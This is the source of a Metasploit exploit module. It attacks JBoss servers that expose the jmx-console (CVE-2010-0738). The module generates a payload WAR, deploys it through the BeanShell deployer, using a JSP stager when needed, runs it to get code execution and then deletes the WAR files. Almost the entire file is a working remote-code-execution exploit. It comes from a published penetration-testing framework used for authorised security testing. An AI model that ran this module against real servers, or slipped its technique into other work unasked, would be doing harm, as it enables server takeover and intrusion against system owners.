metasploit-framework/modules/exploits/multi/http/jboss_bshdeployer.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

  include Msf::Exploit::Remote::HTTP::JBoss

  def initialize(info = {})
    super(update_info(info,
      'Name'			=> 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
      'Description'	=> %q{
          This module can be used to install a WAR file payload on JBoss servers that have
        an exposed "jmx-console" application. The payload is put on the server by
        using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
      },
      'Author'       =>
        [
          'Patrick Hof',
          'jduck',
          'Konrads Smelkovs',
          'h0ng10'
        ],
      'License'		=> BSD_LICENSE,
      'References'	=>
        [
          [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
          [ 'OSVDB', '64171' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
        ],
      'Privileged'   => true,
      'Platform'     => %w{ java linux win },
      'Stance'       => Msf::Exploit::Stance::Aggressive,
      'Targets'     =>
        [
          #
          # do target detection but java meter by default
          # detect via /manager/serverinfo
          #
          [ 'Automatic (Java based)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            } ],

          #
          # Platform specific targets only
          #
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [ 'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],

          #
          # Java version
          #
          [ 'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
            }
          ]
        ],
      'DisclosureDate' => "Apr 26 2010",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('JSP',	     [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE',	 [ false, 'Application base name, (default: random)', nil ])
      ], self.class)
  end


  def exploit
    jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
    app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))

    p = payload
    mytarget = target

    if target.name =~ /Automatic/
      mytarget = auto_target(targets)
      unless mytarget
        fail_with(Failure::NoTarget, "Unable to automatically select a target")
      end
      print_status("Automatically selected target \"#{mytarget.name}\"")
    else
      print_status("Using manually select target \"#{mytarget.name}\"")
    end
    arch = mytarget.arch

    # set arch/platform from the target
    plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

    # We must regenerate the payload in case our auto-magic changed something.
    return if ((p = exploit_regenerate_payload(plat, arch)) == nil)

    # Generate the WAR containing the payload
    war_data = p.encoded_war({
      :app_name => app_base,
      :jsp_name => jsp_name,
      :arch => mytarget.arch,
      :platform => mytarget.platform
    }).to_s

    encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')

    if http_verb == 'POST'
      print_status("Deploying payload...")
      opts = {
        :file => "#{app_base}.war",
        :contents => encoded_payload
      }
    else
      print_status("Deploying stager...")
      stager_base     = rand_text_alpha(8+rand(8))
      stager_jsp_name = rand_text_alpha(8+rand(8))
      stager_contents = stager_jsp(app_base)

      opts = {
        :dir => "#{stager_base}.war",
        :file => "#{stager_base}.war/#{stager_jsp_name}.jsp",
        :contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
      }
    end

    bsh_payload = generate_bsh(:create, opts)
    package = deploy_bsh(bsh_payload)

    if package.nil?
      fail_with(Failure::Unknown, "Failed to deploy")
    end

    unless http_verb == 'POST'
      # now we call the stager to deploy our real payload war
      stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
      payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
      print_status("Calling stager #{stager_uri } to deploy final payload")
      res = deploy('method' => 'POST',
                   'data'   => payload_data,
                   'uri'    => stager_uri)
      unless res && res.code == 200
        fail_with(Failure::Unknown, "Failed to deploy")
      end
    end


    #
    # EXECUTE
    #
    uri = '/' + app_base + '/' + jsp_name + '.jsp'
    print_status("Calling JSP file with final payload...")
    print_status("Executing #{uri}...")
    deploy('uri' => uri, 'method' => 'GET')

    #
    # DELETE
    #
    # The WAR can only be removed by physically deleting it, otherwise it
    # will get redeployed after a server restart.
    print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")

    files = {}
    unless http_verb == 'POST'
      files[:stager_jsp_name] = "#{stager_base}.war/#{stager_jsp_name}.jsp"
      files[:stager_base] = "#{stager_base}.war"
    end
    files[:app_base] = "#{app_base}.war"
    delete_script = generate_bsh(:delete, files)

    res = invoke_bsh_script(delete_script, package)
    if res.nil?
      print_warning("WARNING: Unable to remove WAR [No Response]")
    elsif res.code < 200 || res.code >= 300
      print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
    end

    handler
  end

end